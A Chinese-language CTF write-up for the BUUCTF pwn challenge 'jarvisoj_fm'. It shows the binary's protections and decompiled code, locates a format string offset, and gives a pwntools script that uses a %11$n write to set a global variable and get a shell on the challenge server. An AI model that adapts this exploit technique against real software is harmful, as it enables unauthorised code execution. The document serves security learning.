buuctf_pwn_jarvisoj-fm_writeup

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buuctf pwn 板块 jarvisoj_fm 题目，考察 x86 栈上格式化字符串漏洞

  • checksec
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[*] '/mnt/hgfs/CTF/Pwn_Study/pwn_exercise/BUUCTF/fm'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
  • IDA32
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int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
  unsigned int v5; // [esp+7Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  be_nice_to_people();
  memset(buf, 0, sizeof(buf));
  read(0, buf, 0x50u);
  printf(buf);
  printf("%d!\n", x);
  if ( x == 4 )
  {
    puts("running sh...");
    system("/bin/sh");
  }
  return 0;
}

让 x=4 就可以拿到 shell, 看样子因该是格式化字符串漏洞，验证：

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❯ ./fm
aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
aaaa.ff98b81c.50.1.0.1.eae9da20.ff98b934.0.ff98ba8b.35.61616161.2e78252e.252e7825.78252e78.2e78252e.252e7825
3!

看到输入的 aaaa 在第十一位输出了 61616161 , 那修改 x 的值就很简单了：

思路

  • 输入 x 的地址
  • 格式化字符串漏洞，利用 %11$n，将四字节( str(4) )写入%11，也就是 x 的地址的值
  • Get shell

解题脚本

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from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

pwnfile= './fm'
# io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
io = remote("node5.buuoj.cn",26848)

x_addr = 0x804A02C
payload = p32(x_addr) + b'%11$n'
io.sendline(payload)

io.interactive()